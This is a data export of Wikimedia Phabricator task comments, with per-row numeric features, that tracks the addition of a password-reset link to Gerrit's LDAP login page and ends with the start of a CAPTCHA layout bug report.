* bug 32066",,,1386713722,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.3703703703703702,0.9259259259259259,"There's probably a ticket in RT (<URL about this specific issue. Related:

* bug 23004 comment 9
* bug 32066"
60205,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"The login page showing no 'Forgot Password' link

The gerrit login page doesn't have an option 'Forgot password' or 'reset password' so as to reset the password, if lost.
This is an essential feature, which almost all login pages should have.

https://gerrit.wikimedia.org/r/login/

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement

**Attached**: {F12520}",Medium,50.0,1386583560,1646231523.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_description,resolved,True,c3,1,False,False,False,-82,True,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.627906976744186,0.5930232558139535,"The login page showing no 'Forgot Password' link

The gerrit login page doesn't have an option 'Forgot password' or 'reset password' so as to reset the password, if lost.
This is an essential feature, which almost all login pages should have.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement

**Attached**: {F12520}"
1873247,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Thank you @Dzahn,,,1646231523,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,1.0,Thank youSCREEN_NAME
1871929,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),{F34970162} deployed.  login page now has the reset password link.,,,1646068152,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9333333333333333,{F34970162} deployed.  login page now has the reset password link.
1871927,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Change 766781 **merged** by Dzahn:
%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
https://gerrit.wikimedia.org/r/766781",,,1646067994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,False,,,347,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.806451612903226,0.7741935483870968,"Change 766781 **merged** by Dzahn:
%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
GERRIT_URL"
1871853,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Change 766781 had a related patch set uploaded (by Hashar; author: Hashar):
%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
https://gerrit.wikimedia.org/r/766781",,,1646062161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,False,,,347,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.108108108108108,0.8648648648648649,"Change 766781 had a related patch set uploaded (by Hashar; author: Hashar):
%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
GERRIT_URL"
1871848,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"The Sign Up link does send people to Wikitech: https://wikitech.wikimedia.org/w/index.php?title=Special:CreateAccount&returnto=Gerrit/NewUser , so at least to create an account people are directed to the source of trust.


Gerrit theme configuration is described at https://gerrit.wikimedia.org/r/Documentation/config-themes.html `GerritSiteFooter.html` is apparently only used for the login page and ""the internally managed Gitweb servlet"" (which we are not using). 

I will add a link to https://wikitech.wikimedia.org/wiki/Special:PasswordReset

",,,1646061893,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,16.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,13.0,7.0,0.0,3.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,3.8142857142857145,0.7857142857142857,"The Sign Up link does send people to Wikitech: URL , so at least to create an account people are directed to the source of trust.


Gerrit theme configuration is described at URL CODE is apparently only used for the login page and ""the internally managed Gitweb servlet"" (which we are not using). 

I will add a link to URL

"
1574732,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to https://wikitech.wikimedia.org/wiki/Special:PasswordReset .  That is defined by `modules/gerrit/files/homedir/review_site/etc/GerritSiteFooter.html` but that also reflects on every pages so it is not ideal.

Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in `modules/gerrit/files/homedir/review_site/etc/GerritSite.css`:
```
lang=css

html.loginParent .gerritBody:after {
    content: ""Image by Damien Boilley"";
}
```
But that does not support HTML. So I guess we would need some javascript.",,,1599429541,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,270,True,1.5,0.0,0.0,1.5,1.5,1.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.5,0.0,3.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,0.0,6.5,2.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,12.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,1.0,0.0,4.5,2.0,12.0,0.5,3.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,5.5,6.5,5.5,0.0,0.0,0.0,5.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.2452830188679247,0.8207547169811321,"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to URL .  That is defined by CODE but that also reflects on every pages so it is not ideal.

Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in CODE:
``CODE``
But that does not support HTML. So I guess we would need some javascript."
1574731,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to https://wikitech.wikimedia.org/wiki/Special:PasswordReset .  That is defined by `modules/gerrit/files/homedir/review_site/etc/GerritSiteFooter.html` but that also reflects on every pages so it is not ideal.

Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in `modules/gerrit/files/homedir/review_site/etc/GerritSite.css`:
```
lang=css

html.loginParent .gerritBody:after {
    content: ""Image by Damien Boilley"";
}
```
```",,,1599429414,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,270,True,1.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,16.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,3.0,15.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,11.0,9.0,0.0,0.0,0.0,7.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.235955056179775,0.6966292134831461,"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to URL .  That is defined by CODE but that also reflects on every pages so it is not ideal.

Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in CODE:
``CODE`CODE``"
1224590,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Yup, now that we have the refreshed login page im just going to add the link :)",,,1550014839,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,188,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3157894736842106,0.9473684210526315,"Yup, now that we have the refreshed login page im just going to add the link :)"
1224589,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),It should really just point you to wikitech.wikimedia.org's page about reseting your password instead?,,,1550014793,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,188,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,12.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.5625,1.0,It should really just point you to wikitech.wikimedia.org's page about reseting your password instead?
1218903,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),We can use js to do this :),,,1549300787,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,187,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,We can use js to do this :)
993662,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Here's the upstream change to support this https://gerrit-review.googlesource.com/#/c/gerrit/+/151192/,,,1515538180,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,131,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Here's the upstream change to support this URL
992287,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"I think we could potentially add support for this upstream if we follow how they do it for the error message.

We should add a new gerrit config that add a forgetPassword link.

Also side note, im updating the ui here https://gerrit.wikimedia.org/r/#/c/402665/ (Author of css / javascript is markusguenther).",,,1515413253,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,131,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,7.0,2.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,3.8448275862068964,0.8448275862068966,"I think we could potentially add support for this upstream if we follow how they do it for the error message.

We should add a new gerrit config that add a forgetPassword link.

Also side note, im updating the ui here URL (Author of css / javascript is markusguenther)."
948827,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),I would like to get upstream to support logging in / registering through rest api. That will allow us to get polygerrit to implement registering and creating accounts elements :).,,,1508182874,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,119,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,19.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,4.6875,0.8125,I would like to get upstream to support logging in / registering through rest api. That will allow us to get polygerrit to implement registering and creating accounts elements :).
860532,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),What we could do is convert https://github.com/GerritCodeReview/gerrit/blob/461cff743afa2858e8f3ab7c51aacc698ab0fa5e/gerrit-httpd/src/main/resources/com/google/gerrit/httpd/auth/ldap/LoginForm.html into a soy template which would allow us to introduce a new variable and if we set it in gerrit with the forgotten link then it will show.,,,1494948003,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,97,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,6.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9166666666666666,What we could do is convert URL into a soy template which would allow us to introduce a new variable and if we set it in gerrit with the forgotten link then it will show.
819638,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),It seems polygerrit uses the default login screen that gerrit provides.,,,1488753370,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,87,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,1.0,It seems polygerrit uses the default login screen that gerrit provides.
809786,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"You may need to add the support for both polygerrit and gwt ui.

Upstream are more in favour of changes for polygerrit then gwt ui.",,,1487112248,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,84,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,18.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.857142857142857,0.8214285714285714,"You may need to add the support for both polygerrit and gwt ui.

Upstream are more in favour of changes for polygerrit then gwt ui."
809748,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"This can't be too hard. Let's see if we can get something upstreamed. Making it generally-configurable text (preferably w/ HTML) would be ideal, as then you could include login instructions (eg: ""Use your LDAP credentials, which are the same as Wikitech"") in addition to containing a link for password resetting.",,,1487109487,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,84,True,0.0,2.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,9.0,5.0,0.0,3.0,0.0,8.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,3.984848484848485,0.8787878787878788,"This can't be too hard. Let's see if we can get something upstreamed. Making it generally-configurable text (preferably w/ HTML) would be ideal, as then you could include login instructions (eg: ""Use your LDAP credentials, which are the same as Wikitech"") in addition to containing a link for password resetting."
761284,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Been filed upstream since 2013: https://bugs.chromium.org/p/gerrit/issues/detail?id=1991,,,1479234970,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,71,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Been filed upstream since 2013: URL
274375,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"(In reply to comment #1)
> Isn't that because we are using LDAP for authentication and all forgotten
> passwords need to be recovered using labsconsole a.k.a. wikitech?
> 
> I could only imagine a link that sends you to
> https://wikitech.wikimedia.org/wiki/Special:PasswordReset

Shouldn't the gerrit login page have a link to the same too to fit user convenience?",,,1386603176,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,11.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.27027027027027,0.7027027027027027,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Shouldn't the gerrit login page have a link to the same too to fit user convenience?"
274367,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Isn't that because we are using LDAP for authentication and all forgotten passwords need to be recovered using labsconsole a.k.a. wikitech?

I could only imagine a link that sends you to https://wikitech.wikimedia.org/wiki/Special:PasswordReset",,,1386590887,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,1,True,,,-82,True,3.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,11.0,11.0,3.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,4.444444444444445,0.9166666666666666,"Isn't that because we are using LDAP for authentication and all forgotten passwords need to be recovered using labsconsole a.k.a. wikitech?

I could only imagine a link that sends you to URL"
59821,Special:UserLogin captcha image overflows the container,"**Author:** `jaredflores2000`

**Description:**
Shows effect of different fonts used to generate CAPTCHA

The CAPTCHA on the login/signup page in Special:UserLogin overflows the container because it doesn't have any specified size parameter to constrain it.

--------------------------
**Version**: unspecified
